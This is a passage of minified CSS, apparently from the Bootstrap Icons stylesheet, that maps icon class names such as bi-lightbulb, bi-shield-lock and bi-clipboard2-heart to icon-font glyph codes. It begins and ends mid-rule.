"\f45e"}.bi-layout-sidebar::before{content:"\f45f"}.bi-layout-split::before{content:"\f460"}.bi-layout-text-sidebar-reverse::before{content:"\f461"}.bi-layout-text-sidebar::before{content:"\f462"}.bi-layout-text-window-reverse::before{content:"\f463"}.bi-layout-text-window::before{content:"\f464"}.bi-layout-three-columns::before{content:"\f465"}.bi-layout-wtf::before{content:"\f466"}.bi-life-preserver::before{content:"\f467"}.bi-lightbulb-fill::before{content:"\f468"}.bi-lightbulb-off-fill::before{content:"\f469"}.bi-lightbulb-off::before{content:"\f46a"}.bi-lightbulb::before{content:"\f46b"}.bi-lightning-charge-fill::before{content:"\f46c"}.bi-lightning-charge::before{content:"\f46d"}.bi-lightning-fill::before{content:"\f46e"}.bi-lightning::before{content:"\f46f"}.bi-link-45deg::before{content:"\f470"}.bi-link::before{content:"\f471"}.bi-linkedin::before{content:"\f472"}.bi-list-check::before{content:"\f473"}.bi-list-nested::before{content:"\f474"}.bi-list-ol::before{content:"\f475"}.bi-list-stars::before{content:"\f476"}.bi-list-task::before{content:"\f477"}.bi-list-ul::before{content:"\f478"}.bi-list::before{content:"\f479"}.bi-lock-fill::before{content:"\f47a"}.bi-lock::before{content:"\f47b"}.bi-mailbox::before{content:"\f47c"}.bi-mailbox2::before{content:"\f47d"}.bi-map-fill::before{content:"\f47e"}.bi-map::before{content:"\f47f"}.bi-markdown-fill::before{content:"\f480"}.bi-markdown::before{content:"\f481"}.bi-mask::before{content:"\f482"}.bi-megaphone-fill::before{content:"\f483"}.bi-megaphone::before{content:"\f484"}.bi-menu-app-fill::before{content:"\f485"}.bi-menu-app::before{content:"\f486"}.bi-menu-button-fill::before{content:"\f487"}.bi-menu-button-wide-fill::before{content:"\f488"}.bi-menu-button-wide::before{content:"\f489"}.bi-menu-button::before{content:"\f48a"}.bi-menu-down::before{content:"\f48b"}.bi-menu-up::before{content:"\f48c"}.bi-mic-fill::before{content:"\f48d"}.bi-mic-mute-fill::before{content:"\f48e"}.bi-mic-mute::before{content:"\f48f"}.bi-mic::before{content:"\f490"}.bi-minecart-loaded::before{content:"\f491"}.bi-minecart::before{content:"\f492"}.bi-moisture::before{content:"\f493"}.bi-moon-fill::before{content:"\f494"}.bi-moon-stars-fill::before{content:"\f495"}.bi-moon-stars::before{content:"\f496"}.bi-moon::before{content:"\f497"}.bi-mouse-fill::before{content:"\f498"}.bi-mouse::before{content:"\f499"}.bi-mouse2-fill::before{content:"\f49a"}.bi-mouse2::before{content:"\f49b"}.bi-mouse3-fill::before{content:"\f49c"}.bi-mouse3::before{content:"\f49d"}.bi-music-note-beamed::before{content:"\f49e"}.bi-music-note-list::before{content:"\f49f"}.bi-music-note::before{content:"\f4a0"}.bi-music-player-fill::before{content:"\f4a1"}.bi-music-player::before{content:"\f4a2"}.bi-newspaper::before{content:"\f4a3"}.bi-node-minus-fill::before{content:"\f4a4"}.bi-node-minus::before{content:"\f4a5"}.bi-node-plus-fill::before{content:"\f4a6"}.bi-node-plus::before{content:"\f4a7"}.bi-nut-fill::before{content:"\f4a8"}.bi-nut::before{content:"\f4a9"}.bi-octagon-fill::before{content:"\f4aa"}.bi-octagon-half::before{content:"\f4ab"}.bi-octagon::before{content:"\f4ac"}.bi-option::before{content:"\f4ad"}.bi-outlet::before{content:"\f4ae"}.bi-paint-bucket::before{content:"\f4af"}.bi-palette-fill::before{content:"\f4b0"}.bi-palette::before{content:"\f4b1"}.bi-palette2::before{content:"\f4b2"}.bi-paperclip::before{content:"\f4b3"}.bi-paragraph::before{content:"\f4b4"}.bi-patch-check-fill::before{content:"\f4b5"}.bi-patch-check::before{content:"\f4b6"}.bi-patch-exclamation-fill::before{content:"\f4b7"}.bi-patch-exclamation::before{content:"\f4b8"}.bi-patch-minus-fill::before{content:"\f4b9"}.bi-patch-minus::before{content:"\f4ba"}.bi-patch-plus-fill::before{content:"\f4bb"}.bi-patch-plus::before{content:"\f4bc"}.bi-patch-question-fill::before{content:"\f4bd"}.bi-patch-question::before{content:"\f4be"}.bi-pause-btn-fill::before{content:"\f4bf"}.bi-pause-btn::before{content:"\f4c0"}.bi-pause-circle-fill::before{content:"\f4c1"}.bi-pause-circle::before{content:"\f4c2"}.bi-pause-fill::before{content:"\f4c3"}.bi-pause::before{content:"\f4c4"}.bi-peace-fill::before{content:"\f4c5"}.bi-peace::before{content:"\f4c6"}.bi-pen-fill::before{content:"\f4c7"}.bi-pen::before{content:"\f4c8"}.bi-pencil-fill::before{content:"\f4c9"}.bi-pencil-square::before{content:"\f4ca"}.bi-pencil::before{content:"\f4cb"}.bi-pentagon-fill::before{content:"\f4cc"}.bi-pentagon-half::before{content:"\f4cd"}.bi-pentagon::before{content:"\f4ce"}.bi-people-fill::before{content:"\f4cf"}.bi-people::before{content:"\f4d0"}.bi-percent::before{content:"\f4d1"}.bi-person-badge-fill::before{content:"\f4d2"}.bi-person-badge::before{content:"\f4d3"}.bi-person-bounding-box::before{content:"\f4d4"}.bi-person-check-fill::before{content:"\f4d5"}.bi-person-check::before{content:"\f4d6"}.bi-person-circle::before{content:"\f4d7"}.bi-person-dash-fill::before{content:"\f4d8"}.bi-person-dash::before{content:"\f4d9"}.bi-person-fill::before{content:"\f4da"}.bi-person-lines-fill::before{content:"\f4db"}.bi-person-plus-fill::before{content:"\f4dc"}.bi-person-plus::before{content:"\f4dd"}.bi-person-square::before{content:"\f4de"}.bi-person-x-fill::before{content:"\f4df"}.bi-person-x::before{content:"\f4e0"}.bi-person::before{content:"\f4e1"}.bi-phone-fill::before{content:"\f4e2"}.bi-phone-landscape-fill::before{content:"\f4e3"}.bi-phone-landscape::before{content:"\f4e4"}.bi-phone-vibrate-fill::before{content:"\f4e5"}.bi-phone-vibrate::before{content:"\f4e6"}.bi-phone::before{content:"\f4e7"}.bi-pie-chart-fill::before{content:"\f4e8"}.bi-pie-chart::before{content:"\f4e9"}.bi-pin-angle-fill::before{content:"\f4ea"}.bi-pin-angle::before{content:"\f4eb"}.bi-pin-fill::before{content:"\f4ec"}.bi-pin::before{content:"\f4ed"}.bi-pip-fill::before{content:"\f4ee"}.bi-pip::before{content:"\f4ef"}.bi-play-btn-fill::before{content:"\f4f0"}.bi-play-btn::before{content:"\f4f1"}.bi-play-circle-fill::before{content:"\f4f2"}.bi-play-circle::before{content:"\f4f3"}.bi-play-fill::before{content:"\f4f4"}.bi-play::before{content:"\f4f5"}.bi-plug-fill::before{content:"\f4f6"}.bi-plug::before{content:"\f4f7"}.bi-plus-circle-dotted::before{content:"\f4f8"}.bi-plus-circle-fill::before{content:"\f4f9"}.bi-plus-circle::before{content:"\f4fa"}.bi-plus-square-dotted::before{content:"\f4fb"}.bi-plus-square-fill::before{content:"\f4fc"}.bi-plus-square::before{content:"\f4fd"}.bi-plus::before{content:"\f4fe"}.bi-power::before{content:"\f4ff"}.bi-printer-fill::before{content:"\f500"}.bi-printer::before{content:"\f501"}.bi-puzzle-fill::before{content:"\f502"}.bi-puzzle::before{content:"\f503"}.bi-question-circle-fill::before{content:"\f504"}.bi-question-circle::before{content:"\f505"}.bi-question-diamond-fill::before{content:"\f506"}.bi-question-diamond::before{content:"\f507"}.bi-question-octagon-fill::before{content:"\f508"}.bi-question-octagon::before{content:"\f509"}.bi-question-square-fill::before{content:"\f50a"}.bi-question-square::before{content:"\f50b"}.bi-question::before{content:"\f50c"}.bi-rainbow::before{content:"\f50d"}.bi-receipt-cutoff::before{content:"\f50e"}.bi-receipt::before{content:"\f50f"}.bi-reception-0::before{content:"\f510"}.bi-reception-1::before{content:"\f511"}.bi-reception-2::before{content:"\f512"}.bi-reception-3::before{content:"\f513"}.bi-reception-4::before{content:"\f514"}.bi-record-btn-fill::before{content:"\f515"}.bi-record-btn::before{content:"\f516"}.bi-record-circle-fill::before{content:"\f517"}.bi-record-circle::before{content:"\f518"}.bi-record-fill::before{content:"\f519"}.bi-record::before{content:"\f51a"}.bi-record2-fill::before{content:"\f51b"}.bi-record2::before{content:"\f51c"}.bi-reply-all-fill::before{content:"\f51d"}.bi-reply-all::before{content:"\f51e"}.bi-reply-fill::before{content:"\f51f"}.bi-reply::before{content:"\f520"}.bi-rss-fill::before{content:"\f521"}.bi-rss::before{content:"\f522"}.bi-rulers::before{content:"\f523"}.bi-save-fill::before{content:"\f524"}.bi-save::before{content:"\f525"}.bi-save2-fill::before{content:"\f526"}.bi-save2::before{content:"\f527"}.bi-scissors::before{content:"\f528"}.bi-screwdriver::before{content:"\f529"}.bi-search::before{content:"\f52a"}.bi-segmented-nav::before{content:"\f52b"}.bi-server::before{content:"\f52c"}.bi-share-fill::before{content:"\f52d"}.bi-share::before{content:"\f52e"}.bi-shield-check::before{content:"\f52f"}.bi-shield-exclamation::before{content:"\f530"}.bi-shield-fill-check::before{content:"\f531"}.bi-shield-fill-exclamation::before{content:"\f532"}.bi-shield-fill-minus::before{content:"\f533"}.bi-shield-fill-plus::before{content:"\f534"}.bi-shield-fill-x::before{content:"\f535"}.bi-shield-fill::before{content:"\f536"}.bi-shield-lock-fill::before{content:"\f537"}.bi-shield-lock::before{content:"\f538"}.bi-shield-minus::before{content:"\f539"}.bi-shield-plus::before{content:"\f53a"}.bi-shield-shaded::before{content:"\f53b"}.bi-shield-slash-fill::before{content:"\f53c"}.bi-shield-slash::before{content:"\f53d"}.bi-shield-x::before{content:"\f53e"}.bi-shield::before{content:"\f53f"}.bi-shift-fill::before{content:"\f540"}.bi-shift::before{content:"\f541"}.bi-shop-window::before{content:"\f542"}.bi-shop::before{content:"\f543"}.bi-shuffle::before{content:"\f544"}.bi-signpost-2-fill::before{content:"\f545"}.bi-signpost-2::before{content:"\f546"}.bi-signpost-fill::before{content:"\f547"}.bi-signpost-split-fill::before{content:"\f548"}.bi-signpost-split::before{content:"\f549"}.bi-signpost::before{content:"\f54a"}.bi-sim-fill::before{content:"\f54b"}.bi-sim::before{content:"\f54c"}.bi-skip-backward-btn-fill::before{content:"\f54d"}.bi-skip-backward-btn::before{content:"\f54e"}.bi-skip-backward-circle-fill::before{content:"\f54f"}.bi-skip-backward-circle::before{content:"\f550"}.bi-skip-backward-fill::before{content:"\f551"}.bi-skip-backward::before{content:"\f552"}.bi-skip-end-btn-fill::before{content:"\f553"}.bi-skip-end-btn::before{content:"\f554"}.bi-skip-end-circle-fill::before{content:"\f555"}.bi-skip-end-circle::before{content:"\f556"}.bi-skip-end-fill::before{content:"\f557"}.bi-skip-end::before{content:"\f558"}.bi-skip-forward-btn-fill::before{content:"\f559"}.bi-skip-forward-btn::before{content:"\f55a"}.bi-skip-forward-circle-fill::before{content:"\f55b"}.bi-skip-forward-circle::before{content:"\f55c"}.bi-skip-forward-fill::before{content:"\f55d"}.bi-skip-forward::before{content:"\f55e"}.bi-skip-start-btn-fill::before{content:"\f55f"}.bi-skip-start-btn::before{content:"\f560"}.bi-skip-start-circle-fill::before{content:"\f561"}.bi-skip-start-circle::before{content:"\f562"}.bi-skip-start-fill::before{content:"\f563"}.bi-skip-start::before{content:"\f564"}.bi-slack::before{content:"\f565"}.bi-slash-circle-fill::before{content:"\f566"}.bi-slash-circle::before{content:"\f567"}.bi-slash-square-fill::before{content:"\f568"}.bi-slash-square::before{content:"\f569"}.bi-slash::before{content:"\f56a"}.bi-sliders::before{content:"\f56b"}.bi-smartwatch::before{content:"\f56c"}.bi-snow::before{content:"\f56d"}.bi-snow2::before{content:"\f56e"}.bi-snow3::before{content:"\f56f"}.bi-sort-alpha-down-alt::before{content:"\f570"}.bi-sort-alpha-down::before{content:"\f571"}.bi-sort-alpha-up-alt::before{content:"\f572"}.bi-sort-alpha-up::before{content:"\f573"}.bi-sort-down-alt::before{content:"\f574"}.bi-sort-down::before{content:"\f575"}.bi-sort-numeric-down-alt::before{content:"\f576"}.bi-sort-numeric-down::before{content:"\f577"}.bi-sort-numeric-up-alt::before{content:"\f578"}.bi-sort-numeric-up::before{content:"\f579"}.bi-sort-up-alt::before{content:"\f57a"}.bi-sort-up::before{content:"\f57b"}.bi-soundwave::before{content:"\f57c"}.bi-speaker-fill::before{content:"\f57d"}.bi-speaker::before{content:"\f57e"}.bi-speedometer::before{content:"\f57f"}.bi-speedometer2::before{content:"\f580"}.bi-spellcheck::before{content:"\f581"}.bi-square-fill::before{content:"\f582"}.bi-square-half::before{content:"\f583"}.bi-square::before{content:"\f584"}.bi-stack::before{content:"\f585"}.bi-star-fill::before{content:"\f586"}.bi-star-half::before{content:"\f587"}.bi-star::before{content:"\f588"}.bi-stars::before{content:"\f589"}.bi-stickies-fill::before{content:"\f58a"}.bi-stickies::before{content:"\f58b"}.bi-sticky-fill::before{content:"\f58c"}.bi-sticky::before{content:"\f58d"}.bi-stop-btn-fill::before{content:"\f58e"}.bi-stop-btn::before{content:"\f58f"}.bi-stop-circle-fill::before{content:"\f590"}.bi-stop-circle::before{content:"\f591"}.bi-stop-fill::before{content:"\f592"}.bi-stop::before{content:"\f593"}.bi-stoplights-fill::before{content:"\f594"}.bi-stoplights::before{content:"\f595"}.bi-stopwatch-fill::before{content:"\f596"}.bi-stopwatch::before{content:"\f597"}.bi-subtract::before{content:"\f598"}.bi-suit-club-fill::before{content:"\f599"}.bi-suit-club::before{content:"\f59a"}.bi-suit-diamond-fill::before{content:"\f59b"}.bi-suit-diamond::before{content:"\f59c"}.bi-suit-heart-fill::before{content:"\f59d"}.bi-suit-heart::before{content:"\f59e"}.bi-suit-spade-fill::before{content:"\f59f"}.bi-suit-spade::before{content:"\f5a0"}.bi-sun-fill::before{content:"\f5a1"}.bi-sun::before{content:"\f5a2"}.bi-sunglasses::before{content:"\f5a3"}.bi-sunrise-fill::before{content:"\f5a4"}.bi-sunrise::before{content:"\f5a5"}.bi-sunset-fill::before{content:"\f5a6"}.bi-sunset::before{content:"\f5a7"}.bi-symmetry-horizontal::before{content:"\f5a8"}.bi-symmetry-vertical::before{content:"\f5a9"}.bi-table::before{content:"\f5aa"}.bi-tablet-fill::before{content:"\f5ab"}.bi-tablet-landscape-fill::before{content:"\f5ac"}.bi-tablet-landscape::before{content:"\f5ad"}.bi-tablet::before{content:"\f5ae"}.bi-tag-fill::before{content:"\f5af"}.bi-tag::before{content:"\f5b0"}.bi-tags-fill::before{content:"\f5b1"}.bi-tags::before{content:"\f5b2"}.bi-telegram::before{content:"\f5b3"}.bi-telephone-fill::before{content:"\f5b4"}.bi-telephone-forward-fill::before{content:"\f5b5"}.bi-telephone-forward::before{content:"\f5b6"}.bi-telephone-inbound-fill::before{content:"\f5b7"}.bi-telephone-inbound::before{content:"\f5b8"}.bi-telephone-minus-fill::before{content:"\f5b9"}.bi-telephone-minus::before{content:"\f5ba"}.bi-telephone-outbound-fill::before{content:"\f5bb"}.bi-telephone-outbound::before{content:"\f5bc"}.bi-telephone-plus-fill::before{content:"\f5bd"}.bi-telephone-plus::before{content:"\f5be"}.bi-telephone-x-fill::before{content:"\f5bf"}.bi-telephone-x::before{content:"\f5c0"}.bi-telephone::before{content:"\f5c1"}.bi-terminal-fill::before{content:"\f5c2"}.bi-terminal::before{content:"\f5c3"}.bi-text-center::before{content:"\f5c4"}.bi-text-indent-left::before{content:"\f5c5"}.bi-text-indent-right::before{content:"\f5c6"}.bi-text-left::before{content:"\f5c7"}.bi-text-paragraph::before{content:"\f5c8"}.bi-text-right::before{content:"\f5c9"}.bi-textarea-resize::before{content:"\f5ca"}.bi-textarea-t::before{content:"\f5cb"}.bi-textarea::before{content:"\f5cc"}.bi-thermometer-half::before{content:"\f5cd"}.bi-thermometer-high::before{content:"\f5ce"}.bi-thermometer-low::before{content:"\f5cf"}.bi-thermometer-snow::before{content:"\f5d0"}.bi-thermometer-sun::before{content:"\f5d1"}.bi-thermometer::before{content:"\f5d2"}.bi-three-dots-vertical::before{content:"\f5d3"}.bi-three-dots::before{content:"\f5d4"}.bi-toggle-off::before{content:"\f5d5"}.bi-toggle-on::before{content:"\f5d6"}.bi-toggle2-off::before{content:"\f5d7"}.bi-toggle2-on::before{content:"\f5d8"}.bi-toggles::before{content:"\f5d9"}.bi-toggles2::before{content:"\f5da"}.bi-tools::before{content:"\f5db"}.bi-tornado::before{content:"\f5dc"}.bi-trash-fill::before{content:"\f5dd"}.bi-trash::before{content:"\f5de"}.bi-trash2-fill::before{content:"\f5df"}.bi-trash2::before{content:"\f5e0"}.bi-tree-fill::before{content:"\f5e1"}.bi-tree::before{content:"\f5e2"}.bi-triangle-fill::before{content:"\f5e3"}.bi-triangle-half::before{content:"\f5e4"}.bi-triangle::before{content:"\f5e5"}.bi-trophy-fill::before{content:"\f5e6"}.bi-trophy::before{content:"\f5e7"}.bi-tropical-storm::before{content:"\f5e8"}.bi-truck-flatbed::before{content:"\f5e9"}.bi-truck::before{content:"\f5ea"}.bi-tsunami::before{content:"\f5eb"}.bi-tv-fill::before{content:"\f5ec"}.bi-tv::before{content:"\f5ed"}.bi-twitch::before{content:"\f5ee"}.bi-twitter::before{content:"\f5ef"}.bi-type-bold::before{content:"\f5f0"}.bi-type-h1::before{content:"\f5f1"}.bi-type-h2::before{content:"\f5f2"}.bi-type-h3::before{content:"\f5f3"}.bi-type-italic::before{content:"\f5f4"}.bi-type-strikethrough::before{content:"\f5f5"}.bi-type-underline::before{content:"\f5f6"}.bi-type::before{content:"\f5f7"}.bi-ui-checks-grid::before{content:"\f5f8"}.bi-ui-checks::before{content:"\f5f9"}.bi-ui-radios-grid::before{content:"\f5fa"}.bi-ui-radios::before{content:"\f5fb"}.bi-umbrella-fill::before{content:"\f5fc"}.bi-umbrella::before{content:"\f5fd"}.bi-union::before{content:"\f5fe"}.bi-unlock-fill::before{content:"\f5ff"}.bi-unlock::before{content:"\f600"}.bi-upc-scan::before{content:"\f601"}.bi-upc::before{content:"\f602"}.bi-upload::before{content:"\f603"}.bi-vector-pen::before{content:"\f604"}.bi-view-list::before{content:"\f605"}.bi-view-stacked::before{content:"\f606"}.bi-vinyl-fill::before{content:"\f607"}.bi-vinyl::before{content:"\f608"}.bi-voicemail::before{content:"\f609"}.bi-volume-down-fill::before{content:"\f60a"}.bi-volume-down::before{content:"\f60b"}.bi-volume-mute-fill::before{content:"\f60c"}.bi-volume-mute::before{content:"\f60d"}.bi-volume-off-fill::before{content:"\f60e"}.bi-volume-off::before{content:"\f60f"}.bi-volume-up-fill::before{content:"\f610"}.bi-volume-up::before{content:"\f611"}.bi-vr::before{content:"\f612"}.bi-wallet-fill::before{content:"\f613"}.bi-wallet::before{content:"\f614"}.bi-wallet2::before{content:"\f615"}.bi-watch::before{content:"\f616"}.bi-water::before{content:"\f617"}.bi-whatsapp::before{content:"\f618"}.bi-wifi-1::before{content:"\f619"}.bi-wifi-2::before{content:"\f61a"}.bi-wifi-off::before{content:"\f61b"}.bi-wifi::before{content:"\f61c"}.bi-wind::before{content:"\f61d"}.bi-window-dock::before{content:"\f61e"}.bi-window-sidebar::before{content:"\f61f"}.bi-window::before{content:"\f620"}.bi-wrench::before{content:"\f621"}.bi-x-circle-fill::before{content:"\f622"}.bi-x-circle::before{content:"\f623"}.bi-x-diamond-fill::before{content:"\f624"}.bi-x-diamond::before{content:"\f625"}.bi-x-octagon-fill::before{content:"\f626"}.bi-x-octagon::before{content:"\f627"}.bi-x-square-fill::before{content:"\f628"}.bi-x-square::before{content:"\f629"}.bi-x::before{content:"\f62a"}.bi-youtube::before{content:"\f62b"}.bi-zoom-in::before{content:"\f62c"}.bi-zoom-out::before{content:"\f62d"}.bi-bank::before{content:"\f62e"}.bi-bank2::before{content:"\f62f"}.bi-bell-slash-fill::before{content:"\f630"}.bi-bell-slash::before{content:"\f631"}.bi-cash-coin::before{content:"\f632"}.bi-check-lg::before{content:"\f633"}.bi-coin::before{content:"\f634"}.bi-currency-bitcoin::before{content:"\f635"}.bi-currency-dollar::before{content:"\f636"}.bi-currency-euro::before{content:"\f637"}.bi-currency-exchange::before{content:"\f638"}.bi-currency-pound::before{content:"\f639"}.bi-currency-yen::before{content:"\f63a"}.bi-dash-lg::before{content:"\f63b"}.bi-exclamation-lg::before{content:"\f63c"}.bi-file-earmark-pdf-fill::before{content:"\f63d"}.bi-file-earmark-pdf::before{content:"\f63e"}.bi-file-pdf-fill::before{content:"\f63f"}.bi-file-pdf::before{content:"\f640"}.bi-gender-ambiguous::before{content:"\f641"}.bi-gender-female::before{content:"\f642"}.bi-gender-male::before{content:"\f643"}.bi-gender-trans::before{content:"\f644"}.bi-headset-vr::before{content:"\f645"}.bi-info-lg::before{content:"\f646"}.bi-mastodon::before{content:"\f647"}.bi-messenger::before{content:"\f648"}.bi-piggy-bank-fill::before{content:"\f649"}.bi-piggy-bank::before{content:"\f64a"}.bi-pin-map-fill::before{content:"\f64b"}.bi-pin-map::before{content:"\f64c"}.bi-plus-lg::before{content:"\f64d"}.bi-question-lg::before{content:"\f64e"}.bi-recycle::before{content:"\f64f"}.bi-reddit::before{content:"\f650"}.bi-safe-fill::before{content:"\f651"}.bi-safe2-fill::before{content:"\f652"}.bi-safe2::before{content:"\f653"}.bi-sd-card-fill::before{content:"\f654"}.bi-sd-card::before{content:"\f655"}.bi-skype::before{content:"\f656"}.bi-slash-lg::before{content:"\f657"}.bi-translate::before{content:"\f658"}.bi-x-lg::before{content:"\f659"}.bi-safe::before{content:"\f65a"}.bi-apple::before{content:"\f65b"}.bi-microsoft::before{content:"\f65d"}.bi-windows::before{content:"\f65e"}.bi-behance::before{content:"\f65c"}.bi-dribbble::before{content:"\f65f"}.bi-line::before{content:"\f660"}.bi-medium::before{content:"\f661"}.bi-paypal::before{content:"\f662"}.bi-pinterest::before{content:"\f663"}.bi-signal::before{content:"\f664"}.bi-snapchat::before{content:"\f665"}.bi-spotify::before{content:"\f666"}.bi-stack-overflow::before{content:"\f667"}.bi-strava::before{content:"\f668"}.bi-wordpress::before{content:"\f669"}.bi-vimeo::before{content:"\f66a"}.bi-activity::before{content:"\f66b"}.bi-easel2-fill::before{content:"\f66c"}.bi-easel2::before{content:"\f66d"}.bi-easel3-fill::before{content:"\f66e"}.bi-easel3::before{content:"\f66f"}.bi-fan::before{content:"\f670"}.bi-fingerprint::before{content:"\f671"}.bi-graph-down-arrow::before{content:"\f672"}.bi-graph-up-arrow::before{content:"\f673"}.bi-hypnotize::before{content:"\f674"}.bi-magic::before{content:"\f675"}.bi-person-rolodex::before{content:"\f676"}.bi-person-video::before{content:"\f677"}.bi-person-video2::before{content:"\f678"}.bi-person-video3::before{content:"\f679"}.bi-person-workspace::before{content:"\f67a"}.bi-radioactive::before{content:"\f67b"}.bi-webcam-fill::before{content:"\f67c"}.bi-webcam::before{content:"\f67d"}.bi-yin-yang::before{content:"\f67e"}.bi-bandaid-fill::before{content:"\f680"}.bi-bandaid::before{content:"\f681"}.bi-bluetooth::before{content:"\f682"}.bi-body-text::before{content:"\f683"}.bi-boombox::before{content:"\f684"}.bi-boxes::before{content:"\f685"}.bi-dpad-fill::before{content:"\f686"}.bi-dpad::before{content:"\f687"}.bi-ear-fill::before{content:"\f688"}.bi-ear::before{content:"\f689"}.bi-envelope-check-fill::before{content:"\f68b"}.bi-envelope-check::before{content:"\f68c"}.bi-envelope-dash-fill::before{content:"\f68e"}.bi-envelope-dash::before{content:"\f68f"}.bi-envelope-exclamation-fill::before{content:"\f691"}.bi-envelope-exclamation::before{content:"\f692"}.bi-envelope-plus-fill::before{content:"\f693"}.bi-envelope-plus::before{content:"\f694"}.bi-envelope-slash-fill::before{content:"\f696"}.bi-envelope-slash::before{content:"\f697"}.bi-envelope-x-fill::before{content:"\f699"}.bi-envelope-x::before{content:"\f69a"}.bi-explicit-fill::before{content:"\f69b"}.bi-explicit::before{content:"\f69c"}.bi-git::before{content:"\f69d"}.bi-infinity::before{content:"\f69e"}.bi-list-columns-reverse::before{content:"\f69f"}.bi-list-columns::before{content:"\f6a0"}.bi-meta::before{content:"\f6a1"}.bi-nintendo-switch::before{content:"\f6a4"}.bi-pc-display-horizontal::before{content:"\f6a5"}.bi-pc-display::before{content:"\f6a6"}.bi-pc-horizontal::before{content:"\f6a7"}.bi-pc::before{content:"\f6a8"}.bi-playstation::before{content:"\f6a9"}.bi-plus-slash-minus::before{content:"\f6aa"}.bi-projector-fill::before{content:"\f6ab"}.bi-projector::before{content:"\f6ac"}.bi-qr-code-scan::before{content:"\f6ad"}.bi-qr-code::before{content:"\f6ae"}.bi-quora::before{content:"\f6af"}.bi-quote::before{content:"\f6b0"}.bi-robot::before{content:"\f6b1"}.bi-send-check-fill::before{content:"\f6b2"}.bi-send-check::before{content:"\f6b3"}.bi-send-dash-fill::before{content:"\f6b4"}.bi-send-dash::before{content:"\f6b5"}.bi-send-exclamation-fill::before{content:"\f6b7"}.bi-send-exclamation::before{content:"\f6b8"}.bi-send-fill::before{content:"\f6b9"}.bi-send-plus-fill::before{content:"\f6ba"}.bi-send-plus::before{content:"\f6bb"}.bi-send-slash-fill::before{content:"\f6bc"}.bi-send-slash::before{content:"\f6bd"}.bi-send-x-fill::before{content:"\f6be"}.bi-send-x::before{content:"\f6bf"}.bi-send::before{content:"\f6c0"}.bi-steam::before{content:"\f6c1"}.bi-terminal-dash::before{content:"\f6c3"}.bi-terminal-plus::before{content:"\f6c4"}.bi-terminal-split::before{content:"\f6c5"}.bi-ticket-detailed-fill::before{content:"\f6c6"}.bi-ticket-detailed::before{content:"\f6c7"}.bi-ticket-fill::before{content:"\f6c8"}.bi-ticket-perforated-fill::before{content:"\f6c9"}.bi-ticket-perforated::before{content:"\f6ca"}.bi-ticket::before{content:"\f6cb"}.bi-tiktok::before{content:"\f6cc"}.bi-window-dash::before{content:"\f6cd"}.bi-window-desktop::before{content:"\f6ce"}.bi-window-fullscreen::before{content:"\f6cf"}.bi-window-plus::before{content:"\f6d0"}.bi-window-split::before{content:"\f6d1"}.bi-window-stack::before{content:"\f6d2"}.bi-window-x::before{content:"\f6d3"}.bi-xbox::before{content:"\f6d4"}.bi-ethernet::before{content:"\f6d5"}.bi-hdmi-fill::before{content:"\f6d6"}.bi-hdmi::before{content:"\f6d7"}.bi-usb-c-fill::before{content:"\f6d8"}.bi-usb-c::before{content:"\f6d9"}.bi-usb-fill::before{content:"\f6da"}.bi-usb-plug-fill::before{content:"\f6db"}.bi-usb-plug::before{content:"\f6dc"}.bi-usb-symbol::before{content:"\f6dd"}.bi-usb::before{content:"\f6de"}.bi-boombox-fill::before{content:"\f6df"}.bi-displayport::before{content:"\f6e1"}.bi-gpu-card::before{content:"\f6e2"}.bi-memory::before{content:"\f6e3"}.bi-modem-fill::before{content:"\f6e4"}.bi-modem::before{content:"\f6e5"}.bi-motherboard-fill::before{content:"\f6e6"}.bi-motherboard::before{content:"\f6e7"}.bi-optical-audio-fill::before{content:"\f6e8"}.bi-optical-audio::before{content:"\f6e9"}.bi-pci-card::before{content:"\f6ea"}.bi-router-fill::before{content:"\f6eb"}.bi-router::before{content:"\f6ec"}.bi-thunderbolt-fill::before{content:"\f6ef"}.bi-thunderbolt::before{content:"\f6f0"}.bi-usb-drive-fill::before{content:"\f6f1"}.bi-usb-drive::before{content:"\f6f2"}.bi-usb-micro-fill::before{content:"\f6f3"}.bi-usb-micro::before{content:"\f6f4"}.bi-usb-mini-fill::before{content:"\f6f5"}.bi-usb-mini::before{content:"\f6f6"}.bi-cloud-haze2::before{content:"\f6f7"}.bi-device-hdd-fill::before{content:"\f6f8"}.bi-device-hdd::before{content:"\f6f9"}.bi-device-ssd-fill::before{content:"\f6fa"}.bi-device-ssd::before{content:"\f6fb"}.bi-displayport-fill::before{content:"\f6fc"}.bi-mortarboard-fill::before{content:"\f6fd"}.bi-mortarboard::before{content:"\f6fe"}.bi-terminal-x::before{content:"\f6ff"}.bi-arrow-through-heart-fill::before{content:"\f700"}.bi-arrow-through-heart::before{content:"\f701"}.bi-badge-sd-fill::before{content:"\f702"}.bi-badge-sd::before{content:"\f703"}.bi-bag-heart-fill::before{content:"\f704"}.bi-bag-heart::before{content:"\f705"}.bi-balloon-fill::before{content:"\f706"}.bi-balloon-heart-fill::before{content:"\f707"}.bi-balloon-heart::before{content:"\f708"}.bi-balloon::before{content:"\f709"}.bi-box2-fill::before{content:"\f70a"}.bi-box2-heart-fill::before{content:"\f70b"}.bi-box2-heart::before{content:"\f70c"}.bi-box2::before{content:"\f70d"}.bi-braces-asterisk::before{content:"\f70e"}.bi-calendar-heart-fill::before{content:"\f70f"}.bi-calendar-heart::before{content:"\f710"}.bi-calendar2-heart-fill::before{content:"\f711"}.bi-calendar2-heart::before{content:"\f712"}.bi-chat-heart-fill::before{content:"\f713"}.bi-chat-heart::before{content:"\f714"}.bi-chat-left-heart-fill::before{content:"\f715"}.bi-chat-left-heart::before{content:"\f716"}.bi-chat-right-heart-fill::before{content:"\f717"}.bi-chat-right-heart::before{content:"\f718"}.bi-chat-square-heart-fill::before{content:"\f719"}.bi-chat-square-heart::before{content:"\f71a"}.bi-clipboard-check-fill::before{content:"\f71b"}.bi-clipboard-data-fill::before{content:"\f71c"}.bi-clipboard-fill::before{content:"\f71d"}.bi-clipboard-heart-fill::before{content:"\f71e"}.bi-clipboard-heart::before{content:"\f71f"}.bi-clipboard-minus-fill::before{content:"\f720"}.bi-clipboard-plus-fill::before{content:"\f721"}.bi-clipboard-pulse::before{content:"\f722"}.bi-clipboard-x-fill::before{content:"\f723"}.bi-clipboard2-check-fill::before{content:"\f724"}.bi-clipboard2-check::before{content:"\f725"}.bi-clipboard2-data-fill::before{content:"\f726"}.bi-clipboard2-data::before{content:"\f727"}.bi-clipboard2-fill::before{content:"\f728"}.bi-clipboard2-heart-fill::before{content:"\f729"}.bi-clipboard2-heart::before{content:"\f72a"}.bi-clipboard2-minus-fill::before{content:"\f72b"}.bi-clipboard2-minus::before{content:"\f72c"}.bi-clipboard2-plus-fill::before{content:"\f72d